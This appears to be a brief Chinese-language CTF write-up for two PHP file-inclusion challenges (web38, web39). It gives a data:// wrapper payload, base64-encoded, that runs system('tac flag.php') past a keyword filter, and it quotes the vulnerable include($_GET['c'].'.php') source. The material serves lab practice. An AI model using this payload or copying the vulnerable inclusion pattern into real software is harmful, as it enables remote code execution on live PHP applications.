web38
姿势一 通过data伪协议加base64绕过过滤
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
base64的解码是<?php system('tac flag.php');?>
姿势二 通过data伪协议加php短标签和linux通配符绕过
web39
直接收到的c后面再后缀.php
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
原来以为,用通配符打flag就行了,后来发现不是这样的
继续用data伪协议测试一下
最后面后缀的.php就是代码里加的后缀,用上一个payload也可以打